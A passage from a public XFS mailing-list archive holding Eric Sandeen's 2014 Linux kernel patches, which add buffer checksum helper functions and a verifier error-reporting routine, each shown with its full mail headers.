xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SYMLINK_CRC_OFF); } const struct xfs_buf_ops xfs_symlink_buf_ops = { -- 1.7.1 From sandeen@sandeen.net Mon Feb 10 21:11:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AD3407F4E for ; Mon, 10 Feb 2014 21:11:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2DE08AC009 for ; Mon, 10 Feb 2014 19:11:50 -0800 (PST) X-ASG-Debug-ID: 1392088309-04cbb00c2825b1e0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id vhArXxzarFfYe5Es for ; Mon, 10 Feb 2014 19:11:49 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 15E0B63CE389 for ; Mon, 10 Feb 2014 21:11:49 -0600 (CST) Message-ID: <52F994F4.907@sandeen.net> Date: Mon, 10 Feb 2014 21:11:48 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 4/7] xfs: add helper for verifying checksums on xfs_bufs References: <52F99426.3010409@sandeen.net> X-ASG-Orig-Subj: [PATCH 4/7] xfs: add helper for verifying checksums on xfs_bufs In-Reply-To: <52F99426.3010409@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392088309 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Many/most callers of xfs_verify_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_alloc.c | 6 ++---- fs/xfs/xfs_attr_leaf.c | 3 +-- fs/xfs/xfs_btree.c | 8 ++++---- fs/xfs/xfs_buf.h | 7 +++++++ fs/xfs/xfs_da_btree.c | 3 +-- fs/xfs/xfs_dir2_block.c | 3 +-- fs/xfs/xfs_dir2_data.c | 3 +-- fs/xfs/xfs_dir2_leaf.c | 3 +-- fs/xfs/xfs_dir2_node.c | 3 +-- fs/xfs/xfs_ialloc.c | 4 ++-- fs/xfs/xfs_linux.h | 1 + fs/xfs/xfs_symlink_remote.c | 3 +-- 12 files changed, 23 insertions(+), 24 deletions(-) V2: move helper to xfs_buf.h diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 72ea855..5050c9a 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -485,8 +485,7 @@ xfs_agfl_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - agfl_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_AGFL_CRC_OFF); + agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); agfl_ok = agfl_ok && xfs_agfl_verify(bp); @@ -2240,8 +2239,7 @@ xfs_agf_read_verify( int agf_ok = 1; if (xfs_sb_version_hascrc(&mp->m_sb)) - agf_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_AGF_CRC_OFF); + agf_ok = xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF); agf_ok = agf_ok && xfs_agf_verify(mp, bp); diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index 7b126f4..a19a023 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -240,8 +240,7 @@ xfs_attr3_leaf_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_ATTR3_LEAF_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || !xfs_attr3_leaf_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 9adaae4..4e8524d 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -243,8 +243,8 @@ xfs_btree_lblock_verify_crc( struct xfs_buf *bp) { if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) - return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_LBLOCK_CRC_OFF); + return xfs_buf_verify_cksum(bp, XFS_BTREE_LBLOCK_CRC_OFF); + return true; } @@ -276,8 +276,8 @@ xfs_btree_sblock_verify_crc( struct xfs_buf *bp) { if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) - return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_SBLOCK_CRC_OFF); + return xfs_buf_verify_cksum(bp, XFS_BTREE_SBLOCK_CRC_OFF); + return true; } diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 9953395..5edcfba 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -369,6 +369,13 @@ static inline void xfs_buf_relse(xfs_buf_t *bp) xfs_buf_rele(bp); } +static inline int +xfs_buf_verify_cksum(struct xfs_buf *bp, unsigned long cksum_offset) +{ + return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), + cksum_offset); +} + /* * Handling of buftargs. */ diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 796272a..6cece55 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -214,8 +214,7 @@ xfs_da3_node_read_verify( switch (be16_to_cpu(info->magic)) { case XFS_DA3_NODE_MAGIC: - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DA3_NODE_CRC_OFF)) + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) break; /* fall through */ case XFS_DA_NODE_MAGIC: diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 90cdbf4..948dc39 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -90,8 +90,7 @@ xfs_dir3_block_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_DATA_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || !xfs_dir3_block_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 70acff4..1952f00 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -268,8 +268,7 @@ xfs_dir3_data_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_DATA_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || !xfs_dir3_data_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index ae47ec6..1a412eb 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -180,8 +180,7 @@ __read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_LEAF_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || !xfs_dir3_leaf_verify(bp, magic)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 48c7d18..875e7c0 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -116,8 +116,7 @@ xfs_dir3_free_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_FREE_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || !xfs_dir3_free_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index d79210b..d6a879d 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1571,8 +1571,8 @@ xfs_agi_read_verify( int agi_ok = 1; if (xfs_sb_version_hascrc(&mp->m_sb)) - agi_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_AGI_CRC_OFF); + agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); + agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index f9bb590..e8fed74 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -119,6 +119,7 @@ typedef __uint64_t __psunsigned_t; #include "xfs_iops.h" #include "xfs_aops.h" #include "xfs_super.h" +#include "xfs_cksum.h" #include "xfs_buf.h" #include "xfs_message.h" diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index 7a705a4..b172955 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -133,8 +133,7 @@ xfs_symlink_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_SYMLINK_CRC_OFF) || + if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF) || !xfs_symlink_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); -- 1.7.1 From sandeen@sandeen.net Mon Feb 10 21:12:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0B4F27F4E for ; Mon, 10 Feb 2014 21:12:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8E563AC009 for ; Mon, 10 Feb 2014 19:12:27 -0800 (PST) X-ASG-Debug-ID: 1392088346-04bdf0734cd02d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Cm4OSS7oMPqHUPYQ for ; Mon, 10 Feb 2014 19:12:26 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 10AD663CE389 for ; Mon, 10 Feb 2014 21:12:26 -0600 (CST) Message-ID: <52F99519.3070100@sandeen.net> Date: Mon, 10 Feb 2014 21:12:25 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 5/7] xfs: add helper for updating checksums on xfs_bufs References: <52F99426.3010409@sandeen.net> X-ASG-Orig-Subj: [PATCH 5/7] xfs: add helper for updating checksums on xfs_bufs In-Reply-To: <52F99426.3010409@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392088346 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Many/most callers of xfs_update_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_alloc.c | 4 ++-- fs/xfs/xfs_attr_leaf.c | 2 +- fs/xfs/xfs_btree.c | 6 ++---- fs/xfs/xfs_buf.h | 7 +++++++ fs/xfs/xfs_da_btree.c | 2 +- fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_data.c | 2 +- fs/xfs/xfs_dir2_leaf.c | 2 +- fs/xfs/xfs_dir2_node.c | 2 +- fs/xfs/xfs_ialloc.c | 2 +- fs/xfs/xfs_sb.c | 2 +- fs/xfs/xfs_symlink_remote.c | 2 +- 12 files changed, 20 insertions(+), 15 deletions(-) V2: move helper to xfs_buf.h, fix subject diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 5050c9a..9c7cf3d 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -515,7 +515,7 @@ xfs_agfl_write_verify( if (bip) XFS_BUF_TO_AGFL(bp)->agfl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGFL_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_AGFL_CRC_OFF); } const struct xfs_buf_ops xfs_agfl_buf_ops = { @@ -2269,7 +2269,7 @@ xfs_agf_write_verify( if (bip) XFS_BUF_TO_AGF(bp)->agf_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_AGF_CRC_OFF); } const struct xfs_buf_ops xfs_agf_buf_ops = { diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index a19a023..b552378 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -224,7 +224,7 @@ xfs_attr3_leaf_write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_ATTR3_LEAF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF); } /* diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 4e8524d..e80d59f 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -234,8 +234,7 @@ xfs_btree_lblock_calc_crc( return; if (bip) block->bb_u.l.bb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_LBLOCK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_BTREE_LBLOCK_CRC_OFF); } bool @@ -267,8 +266,7 @@ xfs_btree_sblock_calc_crc( return; if (bip) block->bb_u.s.bb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_SBLOCK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_BTREE_SBLOCK_CRC_OFF); } bool diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 5edcfba..b8a3abf 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -376,6 +376,13 @@ xfs_buf_verify_cksum(struct xfs_buf *bp, unsigned long cksum_offset) cksum_offset); } +static inline void +xfs_buf_update_cksum(struct xfs_buf *bp, unsigned long cksum_offset) +{ + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + cksum_offset); +} + /* * Handling of buftargs. */ diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 6cece55..75ef990 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -196,7 +196,7 @@ xfs_da3_node_write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DA3_NODE_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DA3_NODE_CRC_OFF); } /* diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 948dc39..724377e 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -117,7 +117,7 @@ xfs_dir3_block_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_DATA_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_DATA_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_block_buf_ops = { diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 1952f00..74ae85e 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -295,7 +295,7 @@ xfs_dir3_data_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_DATA_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_DATA_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_data_buf_ops = { diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 1a412eb..dffb61b 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -208,7 +208,7 @@ __write_verify( if (bip) hdr3->info.lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_LEAF_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_LEAF_CRC_OFF); } static void diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 875e7c0..0904b20 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -143,7 +143,7 @@ xfs_dir3_free_write_verify( if (bip) hdr3->lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_DIR3_FREE_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_DIR3_FREE_CRC_OFF); } const struct xfs_buf_ops xfs_dir3_free_buf_ops = { diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index d6a879d..4657586 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1600,7 +1600,7 @@ xfs_agi_write_verify( if (bip) XFS_BUF_TO_AGI(bp)->agi_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGI_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_AGI_CRC_OFF); } const struct xfs_buf_ops xfs_agi_buf_ops = { diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 1c6dc6d..0498e44 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -675,7 +675,7 @@ xfs_sb_write_verify( if (bip) XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SB_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_SB_CRC_OFF); } const struct xfs_buf_ops xfs_sb_buf_ops = { diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index b172955..defa09f 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -161,7 +161,7 @@ xfs_symlink_write_verify( struct xfs_dsymlink_hdr *dsl = bp->b_addr; dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SYMLINK_CRC_OFF); + xfs_buf_update_cksum(bp, XFS_SYMLINK_CRC_OFF); } const struct xfs_buf_ops xfs_symlink_buf_ops = { -- 1.7.1 From sandeen@sandeen.net Mon Feb 10 21:14:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8D7DF7F4E for ; Mon, 10 Feb 2014 21:14:04 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 64CD5304067 for ; Mon, 10 Feb 2014 19:14:04 -0800 (PST) X-ASG-Debug-ID: 1392088443-04cbb00c2b25b3a0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id ggzTsGnavhdMANkN for ; Mon, 10 Feb 2014 19:14:03 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 261A063CE389 for ; Mon, 10 Feb 2014 21:14:03 -0600 (CST) Message-ID: <52F9957A.4050301@sandeen.net> Date: Mon, 10 Feb 2014 21:14:02 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 6/7] xfs: add xfs_verifier_error() References: <52F99426.3010409@sandeen.net> X-ASG-Orig-Subj: [PATCH 6/7] xfs: add xfs_verifier_error() In-Reply-To: <52F99426.3010409@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392088443 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We want to distinguish between corruption and CRC errors. In addition, the full stack trace on verifier errors seems less than helpful; it looks more like an oops than corruption. Create a new function to specifically alert the user to verifier errors, which can differentiate between EFSCORRUPTED and CRC mismatches. It doesn't dump stack unless the xfs error level is turned up high. Define a new error message (EFSBADCRC) to clearly identify CRC errors. (Defined to EILSEQ, bad byte sequence) Signed-off-by: Eric Sandeen --- fs/xfs/xfs_error.c | 22 ++++++++++++++++++++++ fs/xfs/xfs_error.h | 1 + fs/xfs/xfs_linux.h | 1 + 3 files changed, 24 insertions(+), 0 deletions(-) V2: Use __builtin_return_address(0) to avoid the macro with __func__; this can eventually be pushed into the verifiers themselves to issue a specific warning for each failure. diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c index 9995b80..db19133 100644 --- a/fs/xfs/xfs_error.c +++ b/fs/xfs/xfs_error.c @@ -178,3 +178,25 @@ xfs_corruption_error( xfs_error_report(tag, level, mp, filename, linenum, ra); xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); } + +/* + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid + * values, and omit the stack trace unless the error level is tuned high. + */ +void +xfs_verifier_error( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + xfs_alert(mp, +"Metadata %s detected at %pF, block 0x%llx. Unmount and run xfs_repair", + bp->b_error == EFSBADCRC ? "CRC error" : "corruption", + __builtin_return_address(0), bp->b_bn); + + if (xfs_error_level >= XFS_ERRLEVEL_LOW) + xfs_hex_dump(bp->b_addr, 64); + + if (xfs_error_level >= XFS_ERRLEVEL_HIGH) + xfs_stack_trace(); +} diff --git a/fs/xfs/xfs_error.h b/fs/xfs/xfs_error.h index 079a367..c1c57d4 100644 --- a/fs/xfs/xfs_error.h +++ b/fs/xfs/xfs_error.h @@ -34,6 +34,7 @@ extern void xfs_error_report(const char *tag, int level, struct xfs_mount *mp, extern void xfs_corruption_error(const char *tag, int level, struct xfs_mount *mp, void *p, const char *filename, int linenum, inst_t *ra); +extern void xfs_verifier_error(struct xfs_buf *bp); #define XFS_ERROR_REPORT(e, lvl, mp) \ xfs_error_report(e, lvl, mp, __FILE__, __LINE__, __return_address) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index e8fed74..016ea8d 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -179,6 +179,7 @@ typedef __uint64_t __psunsigned_t; #define ENOATTR ENODATA /* Attribute not found */ #define EWRONGFS EINVAL /* Mount with wrong filesystem type */ #define EFSCORRUPTED EUCLEAN /* Filesystem is corrupted */ +#define EFSBADCRC EILSEQ /* Bad CRC detected */ #define SYNCHRONIZE() barrier() #define __return_address __builtin_return_address(0) -- 1.7.1 From sandeen@sandeen.net Mon Feb 10 21:15:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 82AD47F4E for ; Mon, 10 Feb 2014 21:15:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 50C39304071 for ; Mon, 10 Feb 2014 19:15:15 -0800 (PST) X-ASG-Debug-ID: 1392088513-04cbb00c2925b420001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id zDGNEXuGACD7cawF for ; Mon, 10 Feb 2014 19:15:13 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 